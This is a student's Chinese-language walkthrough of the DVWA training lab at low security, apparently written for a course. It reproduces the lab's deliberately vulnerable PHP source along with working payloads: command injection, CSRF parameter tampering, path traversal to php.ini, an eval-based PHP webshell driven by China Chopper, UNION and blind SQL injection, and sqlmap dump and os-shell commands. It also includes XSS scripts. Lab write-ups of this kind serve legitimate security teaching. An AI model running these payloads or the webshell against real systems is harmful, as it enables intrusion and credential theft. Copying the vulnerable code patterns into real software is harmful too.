DVWA-low-wp

  1. 1 背景
  2. 2 phpstudy和DVWA的安装
  3. 3 题目及解题思路
    1. 3.1 Brute Force
      1. 3.1.1 源码如下
      2. 3.1.2 发现Username的那一项需要为admin,然后就将123作为输入的密码,同时打开专业版burpsuite进行抓包,然后点击Login,获得如下信息。
      3. 3.1.3 然后再发向Intruder,加载字典,利用sniper爆破即可得到密码
      4. 3.1.4 用上面得到的密码登录
    2. 3.2 Command Injection
      1. 3.2.1 源码如下
      2. 3.2.2 典型的命令注入型错误,首先用 127.0.0.1&&dir 来进行测试,可以发现所有的目录
      3. 3.2.3 然后用 127.0.0.1&&help 来进行测试,可以发现所有的命令提示
      4. 3.2.4 接着用 127.0.0.1&&index.php 来查看当前主页面的php文件配置
    3. 3.3 CSRF
      1. 3.3.1 源码如下
      2. 3.3.2 利用Web应用程序在当前经过身份验证的Web应用程序上执行不需要的操作,下面是我输入两次123并用burpsuite抓包后的部分url
      3. 3.3.3 然后在地址栏的url后面添加下面字符,密码就会被修改为ikun
    4. 3.4 File Inclusion
      1. 3.4.1 源码如下
      2. 3.4.2 将page后面的参数修改为file1.php,可以获得file1.php中的内容
      3. 3.4.3 将page后面的参数修改为file2.php,可以获得file2.php中的内容
      4. 3.4.4 将page后面的参数修改为file3.php,可以获得file2.php中的内容
      5. 3.4.5 将page后面的参数修改为../../php.ini,可以获得php.ini中的内容
      6. 3.4.6 将page后面的参数修改为../../phpinfo.ini,可以获得phpinfo.ini中的内容
    5. 3.5 File Upload
      1. 3.5.1 源码如下
      2. 3.5.2 上传一句话木马来获取网站的部分或全部权限
      3. 3.5.3 打开中国菜刀,右键添加,地址栏填入上传文件所在路径,参数名(一句话木马口令)为shell
      4. 3.5.4 然后菜刀就会通过向服务器发送包含shell参数的post请求,在服务器上执行任意命令,获取webshell权限,可以下载、修改服务器的所有文件。
      5. 3.5.5 打开服务器的虚拟终端
    6. 3.6 SQL Injection
      1. 3.6.1 源码如下
      2. 方法一:直接输入命令注入
      3. 3.6.2 先随便输入一下常用ID,结果发现1、2、3、4、5均有回显值,输入错误的不回显
      4. 3.6.3 输入
      5. 3.6.4 获取数据库版本、数据库名称,命令如下
      6. 3.6.5 获取数据库中的表,命令为如下
      7. 3.6.6 获取获取表中的字段名,命令为如下
      8. 3.6.7 获得字段中的数据,命令如下
      9. 方法二:利用sqlmap注入
      10. 3.6.8 首先查看网页是否存在漏洞和系统信息,命令如下
      11. 3.6.9 然后从服务器中获得所有的数据库,命令如下
      12. 3.6.10 接着判断当前正在应用程序连接的哪个数据库,命令如下
      13. 3.6.11 下一步获得数据库中的表,命令如下
      14. 3.6.12 最后,再获取users表中的字段,命令如下
      15. 3.6.13 最后,获取字段的信息,命令如下
      16. 3.6.14 sqlmap命令详解
    7. 3.7 SQL Injection (Blind)
      1. 3.7.1 源码如下
      2. 3.7.2 从源码可知参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,查询结果只有
      3. 3.7.3 判断数据库名的长度,最终判断出数据库名长度为4命令如下
      4. 3.7.4 判断数据库的4个字母,命令如下
    8. 3.8 Weak Session IDs
      1. 3.8.1 源码如下
      2. 3.8.2 每当点击一次Generate,dvwaSession就加1
      3. 3.8.3 如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突
    9. 3.9 XSS (DOM)
      1. 3.9.1 源码如下
      2. 3.9.2 在url后添加下面内容后即可触发XSS攻击
    10. 3.10 XSS (Reflected)
      1. 3.10.1 源码如下
      2. 3.10.2 在文本输入框中输入下面内容后即可触发XSS攻击
    11. 3.11 XSS (Stored)
      1. 3.11.1 源码如下
      2. 3.11.2 在文本输入框中,Name栏输入CUMT,Message栏输入下面内容可以触发攻击
    12. 3.12 CSP Bypass
      1. 3.12.1 源码如下
      2. 3.12.2 上pastebin网站上自己写一个javascript代码输入下面代码并复制链接,将其填入文本框即可实现目的
    13. 3.13 JavaScript
      1. 3.13.1 源码如下
      2. 3.13.2 按F12看源码发现了md5加密后的token
      3. 3.13.3 发现产生token的函数
      4. 3.13.4 在输入框输入success,在console输入generate_token()并回车
  4. 4 总结
  5. 5 特别致谢

1 背景

这次作用网安老师要求我们把DVWA的题目做出来,啥也不说了,早做完早学到手,come on

2 phpstudy和DVWA的安装

我这里参考了下面这篇文章来安装上面phpstudy和DVWA。

https://www.jb51.net/article/160378.htm

注意事项

  1. 在D盘下找个地方安装phpstudy,但是安装目录不能有中文和空格,不然后面即使安装完成后Apache启动时会报错AH00526。
  2. 在D盘中安装phpstudy中的WWW目录下解压DVWA,并修改WWW\DVWA-master\config下面的config.inc.php.dist文件,将其中数据库密码修改为root,文件后缀名改为.php。

3 题目及解题思路

3.1 Brute Force

3.1.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

3.1.2 发现Username的那一项需要为admin,然后就将123作为输入的密码,同时打开专业版burpsuite进行抓包,然后点击Login,获得如下信息。

抓包分析

3.1.3 然后再发向Intruder,加载字典,利用sniper爆破即可得到密码

修改password的参数

3.1.4 用上面得到的密码登录

登录效果

3.2 Command Injection

3.2.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

3.2.2 典型的命令注入型错误,首先用 127.0.0.1&&dir 来进行测试,可以发现所有的目录

dir获取所有目录

3.2.3 然后用 127.0.0.1&&help 来进行测试,可以发现所有的命令提示

获取帮助

3.2.4 接着用 127.0.0.1&&index.php 来查看当前主页面的php文件配置

查看index.php文件

3.3 CSRF

3.3.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

3.3.2 利用Web应用程序在当前经过身份验证的Web应用程序上执行不需要的操作,下面是我输入两次123并用burpsuite抓包后的部分url

burpsuite抓取url

3.3.3 然后在地址栏的url后面添加下面字符,密码就会被修改为ikun

1
?password_new=ikun&password_conf=ikun&Change=Change#

利用url修改密码

3.4 File Inclusion

3.4.1 源码如下

1
2
3
4
5
6
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

3.4.2 将page后面的参数修改为file1.php,可以获得file1.php中的内容

file1.php

3.4.3 将page后面的参数修改为file2.php,可以获得file2.php中的内容

file2.php

3.4.4 将page后面的参数修改为file3.php,可以获得file2.php中的内容

file3.php

3.4.5 将page后面的参数修改为../../php.ini,可以获得php.ini中的内容

php.ini中的内容

php.ini内容查看

3.4.6 将page后面的参数修改为../../phpinfo.ini,可以获得phpinfo.ini中的内容

phpinfo.php中的内容

phpinfo.php内容查看

3.5 File Upload

3.5.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}

?>

3.5.2 上传一句话木马来获取网站的部分或全部权限

1
<?php @eval($_POST['shell']);?>

上传hack.php文件

3.5.3 打开中国菜刀,右键添加,地址栏填入上传文件所在路径,参数名(一句话木马口令)为shell

http://localhost/dvwa/hackable/uploads/hackWeb.php

中国菜刀

3.5.4 然后菜刀就会通过向服务器发送包含shell参数的post请求,在服务器上执行任意命令,获取webshell权限,可以下载、修改服务器的所有文件。

文件目录

3.5.5 打开服务器的虚拟终端

虚拟终端

3.6 SQL Injection

3.6.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];

// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];

// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}

mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

方法一:直接输入命令注入

3.6.2 先随便输入一下常用ID,结果发现1、2、3、4、5均有回显值,输入错误的不回显

输入1

输入5

3.6.3 输入

1
1 'or' 1 '=' 1

查看回显效果,遍历出了数据库中所有的内容

遍历数据库

3.6.4 获取数据库版本、数据库名称,命令如下

1
1' union select version(),database()#

数据库版本和数据库名

3.6.5 获取数据库中的表,命令为如下

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

数据库表

3.6.6 获取获取表中的字段名,命令为如下

1
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

字段名

3.6.7 获得字段中的数据,命令如下

1
1' union select user,password from users#

字段中数据

方法二:利用sqlmap注入

3.6.8 首先查看网页是否存在漏洞和系统信息,命令如下

1
sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd'

检测注入点

发现了后台数据库为MySQL,Web服务器的操作系统是Linux Debian,Web应用技术是Apache 2.4.41, 脚本语言是PHP,后台数据库版本MySQL >= 5.0

3.6.9 然后从服务器中获得所有的数据库,命令如下

1
sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' --dbs

获得所有数据库

发现了所有的数据库dvwa和information_schema

3.6.10 接着判断当前正在应用程序连接的哪个数据库,命令如下

1
sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' --current-db

应用程序连接的数据库

发现应用程序连接dvwa这个数据库

3.6.11 下一步获得数据库中的表,命令如下

1
sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' -D dvwa --tables

数据库中的表

发现数据库中含有guestbook和users这两个表

3.6.12 最后,再获取users表中的字段,命令如下

1
sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' -D dvwa -T users --columns

3.6.13 最后,获取字段的信息,命令如下

1
sqlmap -u 'http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie 'security=low;PHPSESSID=e5ei2qec43956rm0tjgea039pd' -D dvwa -T users -C user,password --dump

字段信息

3.6.14 sqlmap命令详解

命令行参数 说明
-u 指定测试的URL地址(加单引号)
–cookie 指定cookie的值(加单引号)
–dbs 获取数据库信息
–current-db 获取当前应用程序连接的数据库
-D 指定数据库
–tables 获取数据库表的信息,一般结合-D参数获取指定数据库的表
-T 指定数据库表
–columns 获取表字段的信息,一般结合-T参数获取指定表的字段名
-C 指定数据库表的列
-dump 转存数据库数据,可结合-D、-T、-C参数获取指定指定数据
-privileges 测试用户权限,–privileges -U -sa测试sa用户权限
–os-cmd=”net user” 执行net user命令
–os-shell 获取系统交互shell

sqlmap帮助1

sqlmap帮助2

3.7 SQL Injection (Blind)

3.7.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];

// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors

// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

3.7.2 从源码可知参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,查询结果只有

“User ID exists in the database.” 和 “User ID is MISSING from the database.”
进而判断是否存在注入,是字符型还是数字型,输入1,查看回显结果。

输入1

判断通过输入下面代码判断出是存在字符型注入

1
2
1’ and 1 = 1#
1’ and 1 = 2#

输入1=1

输入1=2

3.7.3 判断数据库名的长度,最终判断出数据库名长度为4命令如下

1
1' and length(database())=1#

判断数据库长度不为1

判断数据库长度为4

3.7.4 判断数据库的4个字母,命令如下

1
1' and ascii(substr(database(),1,1))>97#

数据库名首字母大于97

1
1' and ascii(substr(database(),1,1))<122#

数据库名首字母小于122

1
1' and ascii(substr(database(),1,1))<110#

数据库名首字母小于110

1
1' and ascii(substr(database(),1,1))<104#

数据库名首字母小于104

1
1' and ascii(substr(database(),1,1))<100#

数据库名首字母不小于100

1
1' and ascii(substr(database(),1,1))>100#

数据库名首字母不大于100

1
1' and ascii(substr(database(),1,1))=100#

数据库名首字母等于100

从而判断出数据库名的首字母为d,利用上面的二分法可以判断出数据库名为dvwa

3.8 Weak Session IDs

3.8.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

$html = "";

if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>

3.8.2 每当点击一次Generate,dvwaSession就加1

dvwaSession=18

再点击一次后,dvwaSession就变为19

dvwaSession=19

3.8.3 如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突

源码

3.9 XSS (DOM)

3.9.1 源码如下

1
2
3
4
5
<?php

# No protections, anything goes

?>

3.9.2 在url后添加下面内容后即可触发XSS攻击

1
<script>alert('XSS');</script>

XSS(DOM)

3.10 XSS (Reflected)

3.10.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

3.10.2 在文本输入框中输入下面内容后即可触发XSS攻击

1
<script>alert('我攻击成功了');</script>

XSS(Reflected)

3.11 XSS (Stored)

3.11.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

3.11.2 在文本输入框中,Name栏输入CUMT,Message栏输入下面内容可以触发攻击

1
<script>alert(‘只要够认真,老师给高分’)</script>

XSS (Stored)

然后,我在google浏览器中点击XSS (Stored),就会出现我在火狐浏览中已经添加的脚本的现象

XSS (Stored)--google

3.12 CSP Bypass

3.12.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics.

header($headerCSP);

# https://pastebin.com/raw/R570EE00

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';

3.12.2 上pastebin网站上自己写一个javascript代码输入下面代码并复制链接,将其填入文本框即可实现目的

1
<script>alert(‘happy every day’)</script>

3.13 JavaScript

3.13.1 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$page[ 'body' ] .= <<<EOF
<script>

/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/

!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<<t|n>>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<<r%32,n[14+(r+64>>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e<n.length;e+=16)i=l,a=g,d=v,h=m,g=f(g=f(g=f(g=f(g=c(g=c(g=c(g=c(g=u(g=u(g=u(g=u(g=o(g=o(g=o(g=o(g,v=o(v,m=o(m,l=o(l,g,v,m,n[e],7,-680876936),g,v,n[e+1],12,-389564586),l,g,n[e+2],17,606105819),m,l,n[e+3],22,-1044525330),v=o(v,m=o(m,l=o(l,g,v,m,n[e+4],7,-176418897),g,v,n[e+5],12,1200080426),l,g,n[e+6],17,-1473231341),m,l,n[e+7],22,-45705983),v=o(v,m=o(m,l=o(l,g,v,m,n[e+8],7,1770035416),g,v,n[e+9],12,-1958414417),l,g,n[e+10],17,-42063),m,l,n[e+11],22,-1990404162),v=o(v,m=o(m,l=o(l,g,v,m,n[e+12],7,1804603682),g,v,n[e+13],12,-40341101),l,g,n[e+14],17,-1502002290),m,l,n[e+15],22,1236535329),v=u(v,m=u(m,l=u(l,g,v,m,n[e+1],5,-165796510),g,v,n[e+6],9,-1069501632),l,g,n[e+11],14,643717713),m,l,n[e],20,-373897302),v=u(v,m=u(m,l=u(l,g,v,m,n[e+5],5,-701558691),g,v,n[e+10],9,38016083),l,g,n[e+15],14,-660478335),m,l,n[e+4],20,-405537848),v=u(v,m=u(m,l=u(l,g,v,m,n[e+9],5,568446438),g,v,n[e+14],9,-1019803690),l,g,n[e+3],14,-187363961),m,l,n[e+8],20,1163531501),v=u(v,m=u(m,l=u(l,g,v,m,n[e+13],5,-1444681467),g,v,n[e+2],9,-51403784),l,g,n[e+7],14,1735328473),m,l,n[e+12],20,-1926607734),v=c(v,m=c(m,l=c(l,g,v,m,n[e+5],4,-378558),g,v,n[e+8],11,-2022574463),l,g,n[e+11],16,1839030562),m,l,n[e+14],23,-35309556),v=c(v,m=c(m,l=c(l,g,v,m,n[e+1],4,-1530992060),g,v,n[e+4],11,1272893353),l,g,n[e+7],16,-155497632),m,l,n[e+10],23,-1094730640),v=c(v,m=c(m,l=c(l,g,v,m,n[e+13],4,681279174),g,v,n[e],11,-358537222),l,g,n[e+3],16,-722521979),m,l,n[e+6],23,76029189),v=c(v,m=c(m,l=c(l,g,v,m,n[e+9],4,-640364487),g,v,n[e+12],11,-421815835),l,g,n[e+15],16,530742520),m,l,n[e+2],23,-995338651),v=f(v,m=f(m,l=f(l,g,v,m,n[e],6,-198630844),g,v,n[e+7],10,1126891415),l,g,n[e+14],15,-1416354905),m,l,n[e+5],21,-57434055),v=f(v,m=f(m,l=f(l,g,v,m,n[e+12],6,1700485571),g,v,n[e+3],10,-1894986606),l,g,n[e+10],15,-1051523),m,l,n[e+1],21,-2054922799),v=f(v,m=f(m,l=f(l,g,v,m,n[e+8],6,1873313359),g,v,n[e+15],10,-30611744),l,g,n[e+6],15,-1560198380),m,l,n[e+13],21,1309151649),v=f(v,m=f(m,l=f(l,g,v,m,n[e+4],6,-145523070),g,v,n[e+11],10,-1120210379),l,g,n[e+2],15,718787259),m,l,n[e+9],21,-343485551),l=t(l,i),g=t(g,a),v=t(v,d),m=t(m,h);return[l,g,v,m]}function a(n){var t,r="",e=32*n.length;for(t=0;t<e;t+=8)r+=String.fromCharCode(n[t>>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t<r.length;t+=1)r[t]=0;var e=8*n.length;for(t=0;t<e;t+=8)r[t>>5]|=(255&n.charCodeAt(t/8))<<t%32;return r}function h(n){return a(i(d(n),8*n.length))}function l(n,t){var r,e,o=d(n),u=[],c=[];for(u[15]=c[15]=void 0,o.length>16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r<n.length;r+=1)t=n.charCodeAt(r),e+="0123456789abcdef".charAt(t>>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}"function"==typeof define&&define.amd?define(function(){return A}):"object"==typeof module&&module.exports?module.exports=A:n.md5=A}(this);

function rot13(inp) {
return inp.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c<="Z"?90:122)>=(c=c.charCodeAt(0)+13)?c:c-26);});
}

function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}

generate_token();
</script>
EOF;
?>

3.13.2 按F12看源码发现了md5加密后的token

加密后的token

3.13.3 发现产生token的函数

产生token的函数

3.13.4 在输入框输入success,在console输入generate_token()并回车

产生success

测试成功

4 总结

经过这次搭建渗透环境并自主渗透的过程,我对Web安全有了更深的了解,下一步就要把medium、high和impossible级别的题目做一下,以加强学习。

5 特别致谢

本文在参考下面各位大佬的经验而得到的部分wp,谢谢各位朋友

https://www.cnblogs.com/jojo-feed/p/10206443.html
https://blog.csdn.net/weixin_45038413/article/details/90045210
https://www.bilibili.com/video/av66653656/?p=10


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达,可以邮件至 xingshuaikun@163.com。

×

喜欢就点赞,疼爱就打赏